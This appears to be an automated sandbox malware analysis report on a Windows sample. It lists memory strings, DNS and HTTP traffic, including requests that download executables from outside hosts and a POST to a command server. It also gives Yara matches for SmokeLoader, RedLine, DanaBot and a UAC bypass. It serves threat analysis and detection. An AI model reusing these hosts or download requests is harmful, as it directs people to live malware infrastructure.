Source: 3896.exe, 0000000C.00000002.592727241.0000000004040000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://ajax.googleapis.com/ajax/libs/scriptaculous/1.9.0/scriptaculous.js?ver=1.9.0
Source: 3896.exe, 0000000C.00000002.592727241.0000000004040000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://api.w.org/
Source: 3896.exe, 0000000C.00000002.592727241.0000000004040000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://code.jquery.com/jquery-2.1.4.min.js
Source: 3896.exe, 0000000C.00000002.592727241.0000000004040000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://fonts.googleapis.com/css?family=Roboto%3A100%2C100italic%2C200%2C200italic%2C300%2C300italic
Source: 3896.exe, 0000000C.00000002.592727241.0000000004040000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://fonts.googleapis.com/css?family=Roboto%3A300%2C300i%2C400%2C400i%2C700%2C700i&subset=la
Source: 3896.exe, 0000000C.00000002.592727241.0000000004040000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://fonts.googleapis.com/css?family=Roboto:400
Source: 3896.exe, 0000000C.00000002.592727241.0000000004040000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://gmpg.org/xfn/11
Source: 3896.exe, 0000000C.00000002.592727241.0000000004040000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://lolipop.jp/
Source: 3896.exe, 0000000C.00000002.592727241.0000000004040000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://minne.com/?utm_source=lolipop&utm_medium=banner&utm_campaign=synergy&utm_content=404
Source: 3896.exe, 0000000C.00000002.592727241.0000000004040000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://ogp.me/ns#
Source: 3896.exe, 0000000C.00000002.592727241.0000000004040000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://pcgrate.com/cart/request-quote/
Source: 3896.exe, 0000000C.00000002.592727241.0000000004040000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://pcgrate.com/wp-content/uploads/about-300x298.jpg
Source: 3896.exe, 0000000C.00000002.592727241.0000000004040000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://pcgrate.com/wp-content/uploads/woocommerce_uploads/logo-sdw6o6.gif
Source: 3896.exe, 0000000C.00000002.592727241.0000000004040000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://pepabo.com/
Source: 3896.exe, 0000000C.00000002.592727241.0000000004040000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://s.rankmath.com/home
Source: 3896.exe, 0000000C.00000002.592727241.0000000004040000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://schema.org
Source: 3896.exe, 0000000C.00000002.592727241.0000000004040000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://sp0.baidu.com/9_Q4simg2RQJ8t7jm9iCKT-xh_/s.gif
Source: 3896.exe, 0000000C.00000002.592727241.0000000004040000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://static.minne.com/files/banner/minne_600x500
Source: 3896.exe, 0000000C.00000002.592727241.0000000004040000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://support.lolipop.jp/hc/ja/articles/360049132953
Source: 3896.exe, 0000000C.00000002.592727241.0000000004040000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://tickets.suresupport.com/faq/article-1596/en
Source: 3896.exe, 0000000C.00000002.592727241.0000000004040000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.aevga.com/
Source: 3896.exe, 0000000C.00000002.592727241.0000000004040000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.c9dd.com/
Source: 3896.exe, 0000000C.00000002.592727241.0000000004040000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.cloudflare.com?utm_source=challenge&utm_campaign=m
Source: 3896.exe, 0000000C.00000002.592727241.0000000004040000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.crcsi.org/
Source: 3896.exe, 0000000C.00000002.592727241.0000000004040000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.credo.edu.pl/
Source: 3896.exe, 0000000C.00000002.592727241.0000000004040000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.edimart.hu/
Source: 3896.exe, 0000000C.00000002.592727241.0000000004040000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.fcwcvt.org/
Source: 3896.exe, 0000000C.00000002.592727241.0000000004040000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/recaptcha/api.js?render=explicit&ver=3.3.1
Source: 3896.exe, 0000000C.00000002.592727241.0000000004040000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.jacomfg.com/
Source: 3896.exe, 0000000C.00000002.592727241.0000000004040000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.naoi-a.com/
Source: 3896.exe, 0000000C.00000002.592727241.0000000004040000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.olras.com/
Source: 3896.exe, 0000000C.00000002.592727241.0000000004040000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.ora-ito.com/
Source: 3896.exe, 0000000C.00000002.592727241.0000000004040000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.pcgrate.com
Source: 3896.exe, 0000000C.00000002.592727241.0000000004040000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.pcgrate.com/
Source: 3896.exe, 0000000C.00000002.592727241.0000000004040000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.pcgrate.com/#author
Source: 3896.exe, 0000000C.00000002.592727241.0000000004040000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.pcgrate.com/#logo
Source: 3896.exe, 0000000C.00000002.592727241.0000000004040000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.pcgrate.com/#organization
Source: 3896.exe, 0000000C.00000002.592727241.0000000004040000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.pcgrate.com/#richSnippet
Source: 3896.exe, 0000000C.00000002.592727241.0000000004040000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.pcgrate.com/#webpage
Source: 3896.exe, 0000000C.00000002.592727241.0000000004040000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.pcgrate.com/#website
Source: 3896.exe, 0000000C.00000002.592727241.0000000004040000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.pcgrate.com/?s=
Source: 3896.exe, 0000000C.00000002.592727241.0000000004040000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.pcgrate.com/cart/
Source: 3896.exe, 0000000C.00000002.592727241.0000000004040000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.pcgrate.com/checkout/
Source: 3896.exe, 0000000C.00000002.592727241.0000000004040000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.pcgrate.com/comments/feed/
Source: 3896.exe, 0000000C.00000002.592727241.0000000004040000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.pcgrate.com/feed/
Source: 3896.exe, 0000000C.00000002.592727241.0000000004040000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.pcgrate.com/wp-admin/admin-ajax.php
Source: 3896.exe, 0000000C.00000002.592727241.0000000004040000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.pcgrate.com/wp-content/uploads/1024px-Logo_Ball_Corporation.svg_-e1637155176306.png
Source: 3896.exe, 0000000C.00000002.592727241.0000000004040000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.pcgrate.com/wp-content/uploads/1200px-Zeiss_logosvg-e1626287816597.png
Source: 3896.exe, 0000000C.00000002.592727241.0000000004040000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.pcgrate.com/wp-content/uploads/1280px-Jet_Propulsio.png
Source: 3896.exe, 0000000C.00000002.592727241.0000000004040000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.pcgrate.com/wp-content/uploads/1920px-Raytheon.svg_-1-e1626285787717.png
Source: 3896.exe, 0000000C.00000002.592727241.0000000004040000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.pcgrate.com/wp-content/uploads/Huawei-Logowine-1.png
Source: 3896.exe, 0000000C.00000002.592727241.0000000004040000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.pcgrate.com/wp-content/uploads/IIG_logo-5.png
Source: 3896.exe, 0000000C.00000002.592727241.0000000004040000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.pcgrate.com/wp-content/uploads/Newport-logo-76F09AD2F3-seeklogo.com_-e1626287837846.png
Source: 3896.exe, 0000000C.00000002.592727241.0000000004040000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.pcgrate.com/wp-content/uploads/about-150x150.jpg
Source: 3896.exe, 0000000C.00000002.592727241.0000000004040000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.pcgrate.com/wp-content/uploads/about-200x200.jpg
Source: 3896.exe, 0000000C.00000002.592727241.0000000004040000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.pcgrate.com/wp-content/uploads/about-300x298.jpg
Source: 3896.exe, 0000000C.00000002.592727241.0000000004040000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.pcgrate.com/wp-content/uploads/about.jpg
Source: 3896.exe, 0000000C.00000002.592727241.0000000004040000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.pcgrate.com/wp-content/uploads/bae_systems-1.png
Source: 3896.exe, 0000000C.00000002.592727241.0000000004040000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.pcgrate.com/wp-content/uploads/horiba_1.png
Source: 3896.exe, 0000000C.00000002.592727241.0000000004040000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.pcgrate.com/wp-content/uploads/logo_01-1.png
Source: 3896.exe, 0000000C.00000002.592727241.0000000004040000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.pcgrate.com/wp-json/
Source: 3896.exe, 0000000C.00000002.592727241.0000000004040000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.pcgrate.com/wp-json/oembed/1.0/embed?url=https%3A%2F%2Fwww.pcgrate.com%2F
Source: 3896.exe, 0000000C.00000002.592727241.0000000004040000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.pcgrate.com/wp-json/oembed/1.0/embed?url=https%3A%2F%2Fwww.pcgrate.com%2F&format=xm
Source: 3896.exe, 0000000C.00000002.592727241.0000000004040000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.pcgrate.com/wp-json/wp/v2/pages/1009
Source: 3896.exe, 0000000C.00000002.592727241.0000000004040000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.pcgrate.com/xmlrpc.php?rsd
Source: 3896.exe, 0000000C.00000002.592727241.0000000004040000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.pwd.org/
Source: 3896.exe, 0000000C.00000002.592727241.0000000004040000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.quadlock.com/
Source: 3896.exe, 0000000C.00000002.592727241.0000000004040000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.sjbs.org/
Source: 3896.exe, 0000000C.00000002.593397454.0000000007723000.00000004.00000020.00020000.00000000.sdmp, 3896.exe, 0000000C.00000002.592727241.0000000004040000.00000004.00001000.00020000.00000000.sdmp, 3896.exe, 0000000C.00000002.593397454.000000000774B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.stajum.com/
Source: 3896.exe, 0000000C.00000002.593397454.0000000007747000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.yoruksut.com.tr
Source: 3896.exe, 0000000C.00000002.592727241.0000000004040000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/channel/UCvpY2zO1GRvxBdgkg7BUm-A

Source: unknown

DNS traffic detected: queries for: perficut.at

Source: global traffic	HTTP traffic detected: GET /systems/index.php HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: beg.com.ve
Source: global traffic	HTTP traffic detected: GET /totti.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: 23.106.124.133
Source: global traffic	HTTP traffic detected: GET /64.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: h167471.srv11.test-hf.su

Source: unknown	Network traffic detected: HTTP traffic on port 49704 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49704

Source: unknown	TCP traffic detected without corresponding DNS query: 23.106.124.133
Source: unknown	TCP traffic detected without corresponding DNS query: 23.106.124.133
Source: unknown	TCP traffic detected without corresponding DNS query: 23.106.124.133
Source: unknown	TCP traffic detected without corresponding DNS query: 23.106.124.133
Source: unknown	TCP traffic detected without corresponding DNS query: 23.106.124.133
Source: unknown	TCP traffic detected without corresponding DNS query: 23.106.124.133
Source: unknown	TCP traffic detected without corresponding DNS query: 23.106.124.133
Source: unknown	TCP traffic detected without corresponding DNS query: 23.106.124.133
Source: unknown	TCP traffic detected without corresponding DNS query: 23.106.124.133
Source: unknown	TCP traffic detected without corresponding DNS query: 23.106.124.133
Source: unknown	TCP traffic detected without corresponding DNS query: 23.106.124.133
Source: unknown	TCP traffic detected without corresponding DNS query: 23.106.124.133
Source: unknown	TCP traffic detected without corresponding DNS query: 23.106.124.133
Source: unknown	TCP traffic detected without corresponding DNS query: 23.106.124.133
Source: unknown	TCP traffic detected without corresponding DNS query: 23.106.124.133
Source: unknown	TCP traffic detected without corresponding DNS query: 23.106.124.133
Source: unknown	TCP traffic detected without corresponding DNS query: 23.106.124.133
Source: unknown	TCP traffic detected without corresponding DNS query: 23.106.124.133
Source: unknown	TCP traffic detected without corresponding DNS query: 23.106.124.133
Source: unknown	TCP traffic detected without corresponding DNS query: 23.106.124.133
Source: unknown	TCP traffic detected without corresponding DNS query: 23.106.124.133
Source: unknown	TCP traffic detected without corresponding DNS query: 23.106.124.133
Source: unknown	TCP traffic detected without corresponding DNS query: 23.106.124.133
Source: unknown	TCP traffic detected without corresponding DNS query: 23.106.124.133
Source: unknown	TCP traffic detected without corresponding DNS query: 23.106.124.133
Source: unknown	TCP traffic detected without corresponding DNS query: 23.106.124.133
Source: unknown	TCP traffic detected without corresponding DNS query: 23.106.124.133
Source: unknown	TCP traffic detected without corresponding DNS query: 23.106.124.133
Source: unknown	TCP traffic detected without corresponding DNS query: 23.106.124.133
Source: unknown	TCP traffic detected without corresponding DNS query: 23.106.124.133
Source: unknown	TCP traffic detected without corresponding DNS query: 23.106.124.133
Source: unknown	TCP traffic detected without corresponding DNS query: 23.106.124.133
Source: unknown	TCP traffic detected without corresponding DNS query: 23.106.124.133
Source: unknown	TCP traffic detected without corresponding DNS query: 23.106.124.133
Source: unknown	TCP traffic detected without corresponding DNS query: 23.106.124.133
Source: unknown	TCP traffic detected without corresponding DNS query: 23.106.124.133
Source: unknown	TCP traffic detected without corresponding DNS query: 23.106.124.133
Source: unknown	TCP traffic detected without corresponding DNS query: 23.106.124.133
Source: unknown	TCP traffic detected without corresponding DNS query: 23.106.124.133
Source: unknown	TCP traffic detected without corresponding DNS query: 23.106.124.133
Source: unknown	TCP traffic detected without corresponding DNS query: 23.106.124.133
Source: unknown	TCP traffic detected without corresponding DNS query: 23.106.124.133
Source: unknown	TCP traffic detected without corresponding DNS query: 23.106.124.133
Source: unknown	TCP traffic detected without corresponding DNS query: 23.106.124.133
Source: unknown	TCP traffic detected without corresponding DNS query: 23.106.124.133
Source: unknown	TCP traffic detected without corresponding DNS query: 23.106.124.133
Source: unknown	TCP traffic detected without corresponding DNS query: 23.106.124.133
Source: unknown	TCP traffic detected without corresponding DNS query: 23.106.124.133
Source: unknown	TCP traffic detected without corresponding DNS query: 23.106.124.133
Source: unknown	TCP traffic detected without corresponding DNS query: 23.106.124.133

Source: 3896.exe, 0000000C.00000002.592727241.0000000004040000.00000004.00001000.00020000.00000000.sdmp

String found in binary or memory: <a class="elementor-icon elementor-social-icon elementor-social-icon-youtube elementor-repeater-item-6def677" href="https://www.youtube.com/channel/UCvpY2zO1GRvxBdgkg7BUm-A" target="_blank"> equals www.youtube.com (Youtube)

Source: unknown

HTTP traffic detected: POST /tmp/ HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: */*Referer: http://qdbxyimc.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 314Host: perficut.at

Source: unknown

HTTPS traffic detected: 190.114.9.88:443 -> 192.168.2.4:49704 version: TLS 1.2

Key, Mouse, Clipboard, Microphone and Screen Capturing

Yara detected SmokeLoader

Source: Yara match	File source: 00000000.00000002.349464150.0000000000950000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.415515866.0000000000891000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.350016623.0000000002521000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.415462036.0000000000870000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY

Source: B7BD.exe, 00000006.00000002.471976666.0000000000BBA000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: <HOOK MODULE="DDRAW.DLL" FUNCTION="DirectDrawCreateEx"/>

Source: D2B5.exe, 00000005.00000003.435315982.000000007F700000.00000004.00001000.00020000.00000000.sdmp

Binary or memory string: RegisterRawInputDevices

E-Banking Fraud

Yara detected DanaBot stealer dll

Source: Yara match	File source: 5.3.D2B5.exe.3170000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.3.D2B5.exe.3170000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000005.00000003.433953791.0000000003170000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY

System Summary

Malicious sample detected (through community Yara rule)

Source: 6.2.B7BD.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) Author: ditekSHen
Source: 11.2.B7BD.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) Author: ditekSHen
Source: 00000006.00000002.471859988.0000000000960000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f Author: unknown
Source: 0000000B.00000002.491460370.0000000000921000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown
Source: 00000000.00000002.349464150.0000000000950000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_4e31426e Author: unknown
Source: 00000002.00000002.415515866.0000000000891000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_4e31426e Author: unknown
Source: 00000000.00000002.349438381.0000000000940000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f Author: unknown
Source: 0000000B.00000002.491651603.00000000024D0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f Author: unknown
Source: 00000002.00000002.415409935.0000000000860000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f Author: unknown
Source: 00000000.00000002.350016623.0000000002521000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_4e31426e Author: unknown
Source: 00000002.00000002.415684725.00000000008EC000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown
Source: 00000006.00000002.472010459.0000000000BCB000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown
Source: 00000002.00000002.415462036.0000000000870000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_4e31426e Author: unknown
Source: 00000000.00000002.349678189.000000000099B000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown

PE file has a writeable .text section

Source: 3896.exe.1.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: pigalicapi.exe.12.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Source: C:\Users\user\Desktop\GyTbKONlyq.exe	Code function: 0_2_0040244C	0_2_0040244C
Source: C:\Users\user\Desktop\GyTbKONlyq.exe	Code function: 0_2_0040289A	0_2_0040289A
Source: C:\Users\user\Desktop\GyTbKONlyq.exe	Code function: 0_2_0040273F	0_2_0040273F
Source: C:\Users\user\Desktop\GyTbKONlyq.exe	Code function: 0_2_0040D22E	0_2_0040D22E
Source: C:\Users\user\Desktop\GyTbKONlyq.exe	Code function: 0_2_0040F0AB	0_2_0040F0AB
Source: C:\Users\user\Desktop\GyTbKONlyq.exe	Code function: 0_2_0040FB33	0_2_0040FB33
Source: C:\Users\user\Desktop\GyTbKONlyq.exe	Code function: 0_2_004095E4	0_2_004095E4
Source: C:\Users\user\Desktop\GyTbKONlyq.exe	Code function: 0_2_0040F5EF	0_2_0040F5EF
Source: C:\Users\user\Desktop\GyTbKONlyq.exe	Code function: 0_2_0040E583	0_2_0040E583
Source: C:\Users\user\AppData\Roaming\gjsvvic	Code function: 2_2_0040244C	2_2_0040244C
Source: C:\Users\user\AppData\Roaming\gjsvvic	Code function: 2_2_0040289A	2_2_0040289A
Source: C:\Users\user\AppData\Roaming\gjsvvic	Code function: 2_2_0040273F	2_2_0040273F
Source: C:\Users\user\AppData\Roaming\gjsvvic	Code function: 2_2_0040D22E	2_2_0040D22E
Source: C:\Users\user\AppData\Roaming\gjsvvic	Code function: 2_2_0040F0AB	2_2_0040F0AB
Source: C:\Users\user\AppData\Roaming\gjsvvic	Code function: 2_2_0040FB33	2_2_0040FB33
Source: C:\Users\user\AppData\Roaming\gjsvvic	Code function: 2_2_004095E4	2_2_004095E4
Source: C:\Users\user\AppData\Roaming\gjsvvic	Code function: 2_2_0040F5EF	2_2_0040F5EF
Source: C:\Users\user\AppData\Roaming\gjsvvic	Code function: 2_2_0040E583	2_2_0040E583

Source: C:\Windows\explorer.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: windows.globalization.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: capabilityaccessmanagerclient.dll	Jump to behavior

Source: Joe Sandbox View	Dropped File: C:\Users\user\AppData\Local\Temp\3896.exe 0FC239EEF963BDC00F2DF0E9B581C68925B86E28DE511AD12EFB881CE2B1CF23
Source: Joe Sandbox View	Dropped File: C:\Users\user\AppData\Local\Temp\B7BD.exe 1873774234676C6E76DB4EFABC4E090E909819C7F1D09F90DCAA9BBAC37C6EEB
Source: Joe Sandbox View	Dropped File: C:\Users\user\AppData\Local\Temp\D2B5.exe 5E4D9BCDF251D1A3A8FCF734BDE3A976C4698E7B46BF8545D3AA5461EE6A1A3E

Source: GyTbKONlyq.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: 6.2.B7BD.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)
Source: 11.2.B7BD.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)
Source: 00000006.00000002.471859988.0000000000960000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f reference_sample = 8b3014ecd962a335b246f6c70fc820247e8bdaef98136e464b1fdb824031eef7, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = 0f483f9f79ae29b944825c1987366d7b450312f475845e2242a07674580918bc, id = 3687686f-8fbf-4f09-9afa-612ee65dc86c, last_modified = 2021-08-23
Source: 0000000B.00000002.491460370.0000000000921000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12
